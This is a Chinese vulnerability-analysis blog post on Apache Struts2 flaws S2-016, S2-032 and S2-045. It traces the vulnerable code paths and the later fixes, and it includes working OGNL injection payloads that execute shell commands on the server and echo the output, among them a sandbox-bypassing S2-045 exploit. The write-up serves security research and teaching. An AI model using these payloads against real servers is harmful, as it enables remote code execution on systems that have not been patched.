关于<旧文系列>

<旧文系列>系列是笔者将以前发到其他地方的技术文章，挑选其中一些值得保留的，迁移到当前博客来。

文章首发于奇安信攻防社区:
https://forum.butian.net/share/601
https://forum.butian.net/share/602
https://forum.butian.net/share/603
时间：2021-08-31

前言

尽管现在struts2用的越来越少了，但对于漏洞研究人员来说，感兴趣的是漏洞的成因和漏洞的修复方式，因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架，无论对涉及到的框架知识，还是对过去多年出现的高危漏洞的原理进行学习，都会对之后学习和审计其他同类框架很有帮助。

传送门：
[旧文系列] Struts2历史高危漏洞系列-part1：S2-001/S2-003/S2-005
[旧文系列] Struts2历史高危漏洞系列-part2：S2-007/S2-008/S2-009
[旧文系列] Struts2历史高危漏洞系列-part3：S2-012/S2-013/S2-015

S2-016

官方漏洞公告：

https://cwiki.apache.org/confluence/display/WW/S2-016

影响版本：Struts 2.0.0 - Struts 2.3.15

漏洞复现与分析

在Struts2中，支持在action的请求参数中添加redirect:、redirectAction:前缀，在后面加上指定表达式，便可实现路径导航和重定向。但由于没有对前缀后面的表达式进行安全过滤，从而可导致注入任意OGNL表达式。

下面使用struts2 2.3.15版本自带的示例程序struts-blank进行调试分析。
以redirect:为例，最简单的PoC redirect:%{11+13}，复现如下：

可以看到表达式%{11+13}被执行了，结果回显在了响应头Location中。

对这些参数前缀的处理，是在org.apache.struts2.dispatcher.mapper.DefaultActionMapper类中，如下图，每个前缀都有与之对应的处理动作。

下面以redirect:前缀为例子。

先说一下，这个漏洞的触发流程其实是在struts2运行主线的第一阶段，并没有到达第二阶段。什么意思呢，看下图：

这是一个正常的action请求的处理时序图。

首先第一阶段是对HTTP请求的预处理阶段。这个阶段主要由Struts2完成，其主要职责是与Web容器打交道，将HTTP请求处理成为普通的Java对象。

而第二阶段，则是XWork事件处理阶段。程序的执行控制权在此时交给了XWork框架，其主要职责是对请求进行核心逻辑处理。

struts2接收到请求后，先到达StrutsPrepareAndExecuteFilter#doFilter()方法中，在该方法中，会根据request对象来获取ActionMapping对象，如下图：

在获取ActionMapping对象的过程中，会调用DefaultActionMapper#handleSpecialParameters()方法去处理特殊的参数
，比如包含了redirect:、redirectAction:等前缀的参数，具体的处理动作在对应的ParameterAction#execute()方法里完成，如下图：


可以看到，在redirect:前缀对应的处理动作中，往ActionMapping对象中放置了一个Result对象：ServletRedirectResult对象，并且将前缀后面的OGNL表达式字符串赋值给该Result对象的location属性中。

获取到ActionMapping属性后，随着运行主线的第一阶段，到达Dispatcher#serviceAction()方法。在该方法中，会判断在ActionMapping对象的result属性是否为null，如果为null，则进入运行主线的第二阶段。然而，前面在处理redirect:参数前缀时，将一个ServletRedirectResult对象赋值给了ActionMapping的result属性，所以这里不会进入第二阶段，而是直接开始调度Result对象。

继续跟进，看到了熟悉的TextParseUtil.translateVariables()方法。后面的方法执行流程就跟S2-015的vuln-1一样了，这里不再展开。

可回显PoC

xxx.action?redirect:%{#context['xwork.MethodAccessor.denyMethodExecution']=false,
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#f.setAccessible(true),
#f.set(#_memberAccess,true),
#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),
#wr=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),
#wr.println(#a),#wr.flush(),#wr.close()}

漏洞修复

通过版本代码比对，在Struts2 2.3.15.1版本中，DefaultActionMapper类里对redirect:、redirectAction:前缀的处理代码都删除了。

S2-032

官方漏洞公告：

https://cwiki.apache.org/confluence/display/WW/S2-032

影响版本：Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

漏洞复现与分析

从漏洞公告可获悉，当Struts2的 动态方法调用(Dynamic Method Invocation) 特性被启用时，可通构造以method:为前缀的OGNL表达式，造成远程代码执行。

下面使用struts2 2.3.28版本自带的示例程序struts-blank进行调试分析。

在部署应用前，需要在struts.xml文件中启用Dynamic Method Invocation特性，同时需要将devMode模式关闭。至于为什么要关闭devMode模式，在下面的调试过程中就能找到答案。

同S2-016的redirect:、redirectAction:前缀一样，对参数前缀method:的处理也是在类org.apache.struts2.dispatcher.mapper.DefaultActionMapper。

按照前面在S2-016漏洞分析中提到的Struts2运行主线的流程，跟进到类DefaultActionMapper中对参数前缀为method:时的处理，如下图，只有当Dynamic Method Invocation 特性启用时才会将method:后面带的字符串赋值到ActionMapping的method属性。

继续跟进代码到Dispatcher#serviceAction()方法，发现在创建ActionProxy对象的过程中，会对传入的method字符串(即method:前缀后面跟着的字符串)进行HTML字符转义和JS字符转义(这个常用来防止XSS攻击)。因此这次我们构造PoC的时候就不能直接把之前漏洞的PoC拿来用了，得修改一下，比如不能出现单双引号、尖括号等。


继续跟进代码，到了调度拦截器执行阶段，当拦截器AnnotationValidationInterceptor执行过程中，会搜索当前action对象中是否有method:前缀后指定的方法。因为我们是要在这里插入恶意OGNL表达式的，所以结果肯定是搜索不到的。当搜索不到时，且当devMode开启时，就会抛出异常，程序因此中断从而无法执行我们注入的OGNL表达式，所以前面提到为什么前提条件还包括不开启devMode模式。如下图：




最后，在调用action对象的时候，便会对method:前缀后面的OGNL表达式进行计算，如下图：

这里要注意OnglUtil.getValue()的第一个参数，methodName后面拼接了一个圆括号()，故在构造PoC时，要在注入的OGNL表达式中，最后一个得是方法调用，且去掉圆括号。

可回显PoC

从上面的调试分析可知，会对method:前缀后面的字符串进行HTML字符和JS字符转义，所以这里不能使用#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')这种方式来访问_memberAccess的allowStaticMethodAccess属性，因为单引号会被转义。执行命令Runtime#exec('id')同理。

这里使用@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS将#_memberAccess重置为默认对象DefaultMemberAccess，DefaultMemberAccess不会禁止执行Java静态方法。

而命令参数则利用上下文对象context中parameters属性去读取。

综上，可回显PoC如下：

/xxxx.action?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#res=@org.apache.struts2.ServletActionContext@getResponse(),
#w=#res.getWriter(),
#w.println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream())),
#w.flush(),
#w.close&cmd=uname -a

漏洞修复

通过版本比对，可以看到在Struts2 2.3.28.1版本中，对method:前缀后面的字符串进行了字符白名单校验，将不在白名单里的字符给去掉。新版本的关键修复代码如下图：

S2-045

官方漏洞公告：

https://cwiki.apache.org/confluence/display/WW/S2-045

影响版本：Struts 2.3.5-Struts 2.3.31, Struts 2.5-Struts 2.5.10

漏洞复现与分析

从漏洞公告可获悉，如果Content-Type请求头的值表示一个上传类型，但值是无效的，且是一个精心构造的OGNL表达式时，Jakarta Multipart parser这个解析器在对Content-Type处理的过程中，会触发异常，在处理异常信息的时候会计算OGNL表达式，从而造成远程代码执行。

这里使用Struts2 2.3.31版本自带的示例应用struts-blank进行调试分析。

因为得是上传类型，故Content-Type的值包含字符串multipart/form-data。

在Jakarta Multipart parser解析器对应的类JakartaMultiPartRequest的解析请求的方法parse()方法中下断点。

命中断点后，跟进它的处理，可以看到，当Content-Type请求头的值不是以multipart/开头时，则抛出异常InvalidContentTypeException，同时将Content-Type的值拼接到异常消息字符串中。

抛出异常后，则在JakartaMultiPartRequest#buildErrorMessage()对异常消息进行处理。

继续跟进，看到了熟悉的TextParseUtil.translateVariables()，往后就是从异常消息字符串中根据%符号提取OGNL表达式并计算求值，这里不再细说，因为前面分析其他漏洞的文章里已经详细分析过了。


下面重点说一下PoC的构造。

可回显PoC

注：关于OGNL表达式的形式，可参考官方文档：
https://commons.apache.org/proper/commons-ognl/language-guide.html

因为Struts2从2.3.28.1版本开始，在OgnlUtil类中，对(e1,e2,e3,e4,...)这种形式的表达式进行了限制，不允许执行。(e1,e2,e3,e4,...)这种形式的表达式会被解析为ASTSequence类型，而ASTSequence#isSequence()永远返回true，从而向上抛出异常，不会继续对表达式进行求值。关键代码如下：



所以这里换一种表达式形式：(e1).(e2).(e3).(e4)....。这种形式的表达式会被解析为ASTChain类型，没有被限制执行。

所以，构造简单PoC如下：

%{
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#a=1).
(#b=2*#a).
(#c=2*#b).
(#ret=4*#c).
(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',#ret)).
(multipart/form-data)
}

要构造命令执行的PoC，首先要将上下文对象context的_memberAccess属性重新赋值为DEFAULT_MEMBER_ACCESS。但Struts2 2.3.31的代码里，上下文对象context内部的Map集合已经没有_memberAccess这个键，当然也就无法向之前一样通过#context['_memberAccess']或#_memberAccess去访问context的_memeberAccess属性。(详见OgnlContext的static代码块和get(Object key)方法)

但可以通过OgnlContext的setMemberAccess()方法去设置它。然而在此之前，还得做些工作。否则OgnlContext#setMemberAccess()无法执行。为什么呢？这里直接拿网上的漏洞利用工具/脚本里的S2-045漏洞exploit来解释，如下:

%{
(#t='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
		(
		(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
		(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
		(#ognlUtil.getExcludedPackageNames().clear()).
		(#ognlUtil.getExcludedClasses().clear()).
		(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
}

• 因为版本较旧的Struts2，上下文对象context内部的Map集合里还是存在_memberAccess属性的，同时也可以通过get方法访问，而版本较新的则没有。所以这里使用条件形式的表达式(e1)?(e2):(e3)来实现版本的兼容。
• 这里在执行#context.setMemberAccess()前，为什么要先调用#ognlUtil.getExcludedPackageNames().clear()和#ognlUtil.getExcludedClasses().clear()呢？原因是在较新的Struts2版本中，默认情况下，会通过类名和包名黑名单的形式禁止OGNL表达式中某些类的方法调用。

Struts2 2.3.31里的类名、包名的黑名单如下图所示。

对黑名单的读取，是在OgnlValueStack#setOgnlUtil()方法中，如下图：

可以看到，连OgnlContext都在黑名单中，所以必须得先将黑名单集合excludedClasses和excludedPackageNames给清空，同时又不能使用黑名单里的类去调用方法。故这个exploit给了一个思路：

先通过#container=#context['com.opensymphony.xwork2.ActionContext.container']来获取ContainerImpl对象，通过ContainerImpl#getInstance()方法来获取OgnlUtil对象，而OgnlUtil并不在黑名单中，所以再通过#ognlUtil.getExcludedPackageNames().clear()和#ognlUtil.getExcludedClasses().clear()来清空存储黑名单的集合。清除后，上下文对象context就可以调用setMemberAccess()方法去重置_memberAccess属性了。

漏洞修复

在Struts2 2.3.32中，JakartaMultiPartRequest#buildErrorMessage()把异常信息传入了LocalizedTextUtil#findText()方法的args参数的位置，不再传到defaultMessage参数的位置。

Reference

[1] hxxp://vulapps.evalbug.com/tags/#struts2
[2] hxxps://github.com/vulhub/vulhub/tree/master/struts2
[3] hxxps://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
[4] hxxps://securitylab.github.com/research/apache-struts-CVE-2018-11776/
[5] 《Struts2技术内幕：深入解析Struts2架构设计与实现原理》- 作者:陆舟
[6] hxxps://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf

最后

以上就是整齐宝贝为你收集整理的[旧文系列] Struts2历史高危漏洞系列-part4：S2-016/S2-032/S2-045关于<旧文系列>前言S2-016S2-032S2-045Reference的全部内容，希望文章能够帮你解决[旧文系列] Struts2历史高危漏洞系列-part4：S2-016/S2-032/S2-045关于<旧文系列>前言S2-016S2-032S2-045Reference所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错，欢迎将靠谱客网站推荐给程序员好友。